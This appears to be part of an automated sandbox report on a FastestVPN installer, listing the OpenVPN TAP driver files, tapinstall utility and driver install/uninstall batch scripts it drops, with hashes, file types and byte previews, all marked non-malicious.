                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-O6P8U.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):142
                                                                                                                    Entropy (8bit):4.838122400792552
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                    MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                    SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                    SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                    SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-S7ED1.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):228
                                                                                                                    Entropy (8bit):4.832057381123706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                    MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                    SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                    SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                    SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-VEH95.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):35008
                                                                                                                    Entropy (8bit):6.574406479237283
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:nNoBjjOOA4dR/uEvBbuALxQbaxJxh639o:No9jyGu+BxLObev6No
                                                                                                                    MD5:77E134EBCD2C8EA7D217EBD61DAAA7B6
                                                                                                                    SHA1:F907526D7F1ED81A6F05BA040DE9E5DBEA421C52
                                                                                                                    SHA-256:CDC110B59A650CF576D7E059DDB1E171BDE50789DD14ABE1199340312177EEDE
                                                                                                                    SHA-512:57C6FFBB7D6D45EB461E2EAFDFA7B01FAAD0130511ED0C07931112FB72F7B1B18829BE3EBF1577DE4337B271F13C5F16528E588807F47A5B483A9BB4BFE6790C
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."..."..."...J..."...J..."...J..."..."..."...J..."...I..."...I."...I..."..Rich."..................PE..L...g..].................N...................P....@.......................................@A....................................P.......X............d...$.......... R..8...........................XR..@............P...............................text....7.......8.................. ..h.rdata..,....P.......<..............@..H.data........`.......B..............@...PAGE....[....p.......D.............. ..`INIT....T............P.............. ..b.rsrc...X............Z..............@..B.reloc...............`..............@..B................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.cat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10866
                                                                                                                    Entropy (8bit):7.241389894622462
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:LBDMDT23rJCeS39JnxrEwJqKkhYC9jOVKEwkqnajNkwIetug:LXdoJxXxkh39qVKtklJGNg
                                                                                                                    MD5:6A3C291EB986A23B427ECF92779C6902
                                                                                                                    SHA1:C96B9791A0F5AC27F84E2F3E06E64C8513168477
                                                                                                                    SHA-256:C996AA42A022F1DE293F14445FEC7038A7CDC6AA2C4632C5CCA07ED53F88F762
                                                                                                                    SHA-512:1FC247B10FB3717344174FC66EDD6ACC5DF171EDF9F70081715CA4C62499D6673B777B635EA043B397F6933201150E8D8EE28309BFA7F6F96326562D43BB6640
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.*n..*.H........*_0.*[...1.0...`.H.e......0.....+.....7......0...0...+.....7.....atM...lN....n>....191023090129Z0...+.....7.....0..T0......t.:..h.?+...*);~.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.... Y.....j...g.0....$..]o....-... 1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... Y.....j...g.0....$..]o....-... 0.......R.....Q.8Y....1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..xq....X.QO@....|s6..*.xV. .,.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..xq....X.QO@....|s6..*.xV. .,...e0..a0....+.

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):35008
                                                                                                                    Entropy (8bit):6.574406479237283
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:nNoBjjOOA4dR/uEvBbuALxQbaxJxh639o:No9jyGu+BxLObev6No
                                                                                                                    MD5:77E134EBCD2C8EA7D217EBD61DAAA7B6
                                                                                                                    SHA1:F907526D7F1ED81A6F05BA040DE9E5DBEA421C52
                                                                                                                    SHA-256:CDC110B59A650CF576D7E059DDB1E171BDE50789DD14ABE1199340312177EEDE
                                                                                                                    SHA-512:57C6FFBB7D6D45EB461E2EAFDFA7B01FAAD0130511ED0C07931112FB72F7B1B18829BE3EBF1577DE4337B271F13C5F16528E588807F47A5B483A9BB4BFE6790C
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."..."..."...J..."...J..."...J..."..."..."...J..."...I..."...I."...I..."..Rich."..................PE..L...g..].................N...................P....@.......................................@A....................................P.......X............d...$.......... R..8...........................XR..@............P...............................text....7.......8.................. ..h.rdata..,....P.......<..............@..H.data........`.......B..............@...PAGE....[....p.......D.............. ..`INIT....T............P.............. ..b.rsrc...X............Z..............@..B.reloc...............`..............@..B................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tapinstall.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):396840
                                                                                                                    Entropy (8bit):6.504700092936786
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:mkska7m3uFm4uy6b10MtxnOrPdmBe3oIkm:mAawb109dmBK5
                                                                                                                    MD5:D680D27DCC19546B721F731384EE56DD
                                                                                                                    SHA1:B418C1B8CB5E8259F9C8CBED29676AD101A15425
                                                                                                                    SHA-256:E64E59A011D45C5D9D93AC79305A060244796040FCFBA112D7F8218F945C7602
                                                                                                                    SHA-512:B495D60E97A782EDA01833F3A45AC03E5F2E6E629D7117ED34E6EA411E85FD8A012C21BD793ED59D7B352F3AA7552209F46203680974CCB57D003A1C690F476B
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b...1...1...1..0...1..0{..1..0.1C.0..1C.0.1C.0.1..0...1...1b..1..0...1..p1...1...1...1..0...1Rich...1........PE..L......].................<..........`m.......P....@.......................................@.....................................x.......................(H.......$......T...........................(...@............P..h............................text....;.......<.................. ..`.rdata..J....P.......@..............@..@.data...l...........................@....rsrc...............................@..@.reloc...$.......&..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\uninstall_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):142
                                                                                                                    Entropy (8bit):4.838122400792552
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                    MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                    SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                    SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                    SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\OemVista.inf (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7537
                                                                                                                    Entropy (8bit):5.046488463217706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                    MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                    SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                    SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                    SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\install_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):228
                                                                                                                    Entropy (8bit):4.832057381123706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                    MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                    SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                    SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                    SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-3E4R0.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10042
                                                                                                                    Entropy (8bit):7.139091215265505
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:rrIa34E9odZubhd95wRLeOup+ZscF8Bd1LEqsa9sgfxIZH54o:nCZYQA9+ZsHLEhDgf2h54o
                                                                                                                    MD5:685D08D5E2A2450648A40B518E2046FC
                                                                                                                    SHA1:D99E38968DE1CA1850971A2B81BFDAB49626AAED
                                                                                                                    SHA-256:56A658934ACC55AD665D685AE05913B4710E053A8FD385C0798B96041DA161B2
                                                                                                                    SHA-512:619D08317328B351FEEA51C08C57B4704EEA0A92836D6ED3BE850478EA6A9C2A14DFA30C763581608E16983010AB2E12B51E3BEC68F3480EE45A04C0E857FDB7
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.'6..*.H........''0.'#...1.0...`.H.e......0..Z..+.....7.....K0..G0...+.....7........N.u.C...y].7...191031061137Z0...+.....7.....0...0....R0.5.1.7.3.7.1.7.7.5.6.C.F.1.9.7.8.D.3.7.8.6.4.5.A.D.A.C.6.D.6.F.3.3.5.3.C.7.C.B...1../0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0M..+.....7...1?0=0...+.....7...0...........0!0...+..........7.ul.7.E..mo3S..0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RD.8.5.F.4.E.6.5.F.E.1.0.F.1.3.D.E.D.1.7.8.0.D.D.B.D.0.7.4.E.D.F.C.7.5.F.2.D.2.5...1..)0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0E..+.....7...17050...+.....7.......0!0...+........._Ne...=.....N.._-%0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}.......0..0v..+.....7....h0f...O.S.......XV.i.s.t.a.X.6.4.,.S.e.r.v.e.r.2.0.0.8.X.6.4.,

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-9CG7N.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):142
                                                                                                                    Entropy (8bit):4.838122400792552
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                    MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                    SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                    SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                    SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-EVBIG.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39384
                                                                                                                    Entropy (8bit):6.220766637489946
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:7CxLEO/+ApBG35KBOXZZoZmTf11a+uiExMFYQjEPKgz:NCI46R1a+jExMFFjWR
                                                                                                                    MD5:2CCA8DC5DA7F197C8C97A2EEBCBFA908
                                                                                                                    SHA1:1A463168F91A6AE254A3E99CE2691F9E7DBC2D46
                                                                                                                    SHA-256:AA1EA00EA7D1FD8E404FB5FEFF948CFB86642F803BDF23D8262B8A0C1151B643
                                                                                                                    SHA-512:AFBF92EA4A3C21048DC25FDC59779A0F20D6687CE9B2D0291268ED2D82A7020595AF2633EAE8623706162C36B24F6E8E70FA73F9D1088E2AB91BA8EAFB8E948F
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d....z.].........."......Z.....................@....................................:.....`A....................................................<.......X....p..H....x...!...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-FB3IH.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):228
                                                                                                                    Entropy (8bit):4.832057381123706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                    MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                    SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                    SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                    SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-IVC6I.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7537
                                                                                                                    Entropy (8bit):5.046488463217706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                    MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                    SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                    SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                    SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-NJEU5.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):498504
                                                                                                                    Entropy (8bit):6.313132779768202
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:iVF7vR03+4YnfLU6wXnSmZb3lKm34AJ9Qvtk1Ai8mTnu5gtZXqg7VcoyUyHi6/Cz:iVXU/3TNfAkTnrZqkyh/agGKwNdUo15
                                                                                                                    MD5:F19CFFFF76FF48E98F060A563DD8345B
                                                                                                                    SHA1:C77F3FE9FFBA02DE288661FBB66656791196EDBC
                                                                                                                    SHA-256:16D1FF6409065D9C0BC50FC2ADE61B3299A141CF2553749D8891BEDBEA43DE70
                                                                                                                    SHA-512:0D4A53FA4B0D4FF71AF1FFF5888005570404BF5309942F477B1D754073F6D200ABADE20DAAFFA3FB6DA55F2B23588CA439273BD9268257B83B00F973B7B61841
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....cv..cv..cv.Q.r..cv.Q.u..cv.Q.s..cv...s.#cv...r..cv...u..cv.Q.w..cv..cw..cv.~.s..cv.~....cv..c...cv.~.t..cv.Rich.cv.................PE..d....z.].........."......*...d.......z.........@..........................................`..................................................S..x............... L...x..H#......D.......T............................................@...............................text....).......*.................. ..`.rdata...%...@...&..................@..@.data....(...p.......T..............@....pdata.. L.......N...d..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..D............n..............@..B................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.cat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10042
                                                                                                                    Entropy (8bit):7.139091215265505
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:rrIa34E9odZubhd95wRLeOup+ZscF8Bd1LEqsa9sgfxIZH54o:nCZYQA9+ZsHLEhDgf2h54o
                                                                                                                    MD5:685D08D5E2A2450648A40B518E2046FC
                                                                                                                    SHA1:D99E38968DE1CA1850971A2B81BFDAB49626AAED
                                                                                                                    SHA-256:56A658934ACC55AD665D685AE05913B4710E053A8FD385C0798B96041DA161B2
                                                                                                                    SHA-512:619D08317328B351FEEA51C08C57B4704EEA0A92836D6ED3BE850478EA6A9C2A14DFA30C763581608E16983010AB2E12B51E3BEC68F3480EE45A04C0E857FDB7
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.'6..*.H........''0.'#...1.0...`.H.e......0..Z..+.....7.....K0..G0...+.....7........N.u.C...y].7...191031061137Z0...+.....7.....0...0....R0.5.1.7.3.7.1.7.7.5.6.C.F.1.9.7.8.D.3.7.8.6.4.5.A.D.A.C.6.D.6.F.3.3.5.3.C.7.C.B...1../0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0M..+.....7...1?0=0...+.....7...0...........0!0...+..........7.ul.7.E..mo3S..0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RD.8.5.F.4.E.6.5.F.E.1.0.F.1.3.D.E.D.1.7.8.0.D.D.B.D.0.7.4.E.D.F.C.7.5.F.2.D.2.5...1..)0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0E..+.....7...17050...+.....7.......0!0...+........._Ne...=.....N.._-%0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}.......0..0v..+.....7....h0f...O.S.......XV.i.s.t.a.X.6.4.,.S.e.r.v.e.r.2.0.0.8.X.6.4.,

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39384
                                                                                                                    Entropy (8bit):6.220766637489946
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:7CxLEO/+ApBG35KBOXZZoZmTf11a+uiExMFYQjEPKgz:NCI46R1a+jExMFFjWR
                                                                                                                    MD5:2CCA8DC5DA7F197C8C97A2EEBCBFA908
                                                                                                                    SHA1:1A463168F91A6AE254A3E99CE2691F9E7DBC2D46
                                                                                                                    SHA-256:AA1EA00EA7D1FD8E404FB5FEFF948CFB86642F803BDF23D8262B8A0C1151B643
                                                                                                                    SHA-512:AFBF92EA4A3C21048DC25FDC59779A0F20D6687CE9B2D0291268ED2D82A7020595AF2633EAE8623706162C36B24F6E8E70FA73F9D1088E2AB91BA8EAFB8E948F
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
